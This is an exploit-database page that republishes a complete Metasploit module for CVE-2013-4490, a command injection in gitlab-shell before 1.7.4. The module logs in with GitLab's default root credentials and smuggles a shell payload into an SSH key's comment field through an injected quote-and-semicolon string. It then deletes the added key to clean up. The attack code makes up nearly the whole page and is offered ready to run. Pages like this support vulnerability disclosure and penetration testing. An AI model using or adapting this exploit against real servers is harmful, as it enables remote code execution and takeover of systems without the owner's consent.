Gitlab-shell Code Execution

2014.08.19
Credit: Brandon
Risk: High
Local: No
Remote: Yes
CWE: CWE-Other


CVSS Base Score: 6.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 8/10
Exploit range: Remote
Attack complexity: Low
Authentication: Single time
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'net/ssh' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager def initialize(info = {}) super(update_info(info, 'Name' => 'Gitlab-shell Code Execution', 'Description' => %q( This module takes advantage of the addition of authorized ssh keys in the gitlab-shell functionality of Gitlab. Versions of gitlab-shell prior to 1.7.4 used the ssh key provided directly in a system call resulting in a command injection vulnerability. As this relies on adding an ssh key to an account valid credentials are required to exploit this vulnerability. ), 'Author' => [ 'Brandon Knight' ], 'License' => MSF_LICENSE, 'References' => [ ['URL', 'https://about.gitlab.com/2013/11/04/gitlab-ce-6-2-and-5-4-security-release/'], ['CVE', '2013-4490'] ], 'Platform' => 'linux', 'Targets' => [ [ 'Linux', { 'Platform' => 'linux', 'Arch' => ARCH_X86 } ], [ 'Linux (x64)', { 'Platform' => 'linux', 'Arch' => ARCH_X86_64 } ], [ 'Unix (CMD)', { 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Payload' => { 'Compat' => { 'RequiredCmd' => 'openssl perl python' }, 'BadChars' => "\x22" } } ], [ 'Python', { 'Platform' => 'python', 'Arch' => ARCH_PYTHON, 'Payload' => { 'BadChars' => "\x22" } } ] ], 'CmdStagerFlavor' => %w( bourne printf ), 'DisclosureDate' => 'Nov 4 2013', 'DefaultTarget' => 0)) register_options( [ OptString.new('USERNAME', [true, 'The username to authenticate as', 'root']), OptString.new('PASSWORD', [true, 'The password for the specified username', '5iveL!fe']), OptString.new('TARGETURI', [true, 'The path to Gitlab', '/']) ], self.class) end def exploit login case target['Platform'] when 'unix' execute_command(payload.encoded) when 'python' execute_command("python -c \\\"#{payload.encoded}\\\"") when 'linux' execute_cmdstager(temp: './', linemax: 2800) end end def execute_command(cmd, _opts = {}) key_id = add_key(cmd) delete_key(key_id) end def check res = send_request_cgi('uri' => normalize_uri(target_uri.path.to_s, 'users', 'sign_in')) if res && res.body && res.body.include?('GitLab') return Exploit::CheckCode::Detected else return Exploit::CheckCode::Unknown end end def login username = datastore['USERNAME'] password = datastore['PASSWORD'] signin_page = normalize_uri(target_uri.path.to_s, 'users', 'sign_in') # Get a valid session cookie and authenticity_token for the next step res = send_request_cgi( 'method' => 'GET', 'cookie' => 'request_method=GET', 'uri' => signin_page ) fail_with(Failure::TimeoutExpired, "#{peer} - Connection timed out during login") unless res local_session_cookie = res.get_cookies.scan(/(_gitlab_session=[A-Za-z0-9%-]+)/).flatten[0] auth_token = res.body.scan(/<input name="authenticity_token" type="hidden" value="(.*?)"/).flatten[0] if res.body.include? 'user[email]' @gitlab_version = 5 user_field = 'user[email]' else @gitlab_version = 7 user_field = 'user[login]' end # Perform the actual login and get the newly assigned session cookie res = send_request_cgi( 'method' => 'POST', 'cookie' => local_session_cookie, 'uri' => signin_page, 'vars_post' => { 'utf8' => "\xE2\x9C\x93", 'authenticity_token' => auth_token, "#{user_field}" => username, 'user[password]' => password, 'user[remember_me]' => 0 } ) fail_with(Failure::NoAccess, "#{peer} - Login failed") unless res && res.code == 302 @session_cookie = res.get_cookies.scan(/(_gitlab_session=[A-Za-z0-9%-]+)/).flatten[0] fail_with(Failure::NoAccess, "#{peer} - Unable to get session cookie") if @session_cookie.nil? end def add_key(cmd) if @gitlab_version == 5 @key_base = normalize_uri(target_uri.path.to_s, 'keys') else @key_base = normalize_uri(target_uri.path.to_s, 'profile', 'keys') end # Perform an initial request to get an authenticity_token so the actual # key addition can be done successfully. res = send_request_cgi( 'method' => 'GET', 'cookie' => "request_method=GET; #{@session_cookie}", 'uri' => normalize_uri(@key_base, 'new') ) fail_with(Failure::TimeoutExpired, "#{peer} - Connection timed out during request") unless res auth_token = res.body.scan(/<input name="authenticity_token" type="hidden" value="(.*?)"/).flatten[0] title = rand_text_alphanumeric(16) key_info = rand_text_alphanumeric(6) # Generate a random ssh key key = OpenSSL::PKey::RSA.new 2048 type = key.ssh_type data = [key.to_blob].pack('m0') openssh_format = "#{type} #{data}" # Place the payload in to the key information to perform the command injection key = "#{openssh_format} #{key_info}';#{cmd}; echo '" res = send_request_cgi( 'method' => 'POST', 'cookie' => "request_method=GET; #{@session_cookie}", 'uri' => @key_base, 'vars_post' => { 'utf8' => "\xE2\x9C\x93", 'authenticity_token' => auth_token, 'key[title]' => title, 'key[key]' => key } ) fail_with(Failure::TimeoutExpired, "#{peer} - Connection timed out during request") unless res # Get the newly added key id so it can be used for cleanup key_id = res.headers['Location'].split('/')[-1] key_id end def delete_key(key_id) res = send_request_cgi( 'method' => 'GET', 'cookie' => "request_method=GET; #{@session_cookie}", 'uri' => @key_base ) fail_with(Failure::TimeoutExpired, "#{peer} - Connection timed out during request") unless res auth_token = res.body.scan(/<meta content="(.*?)" name="csrf-token"/).flatten[0] # Remove the key which was added to clean up after ourselves res = send_request_cgi( 'method' => 'POST', 'cookie' => "#{@session_cookie}", 'uri' => normalize_uri("#{@key_base}", "#{key_id}"), 'vars_post' => { '_method' => 'delete', 'authenticity_token' => auth_token } ) fail_with(Failure::TimeoutExpired, "#{peer} - Connection timed out during request") unless res end end

References:

https://about.gitlab.com/2013/11/04/gitlab-ce-6-2-and-5-4-security-release/


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top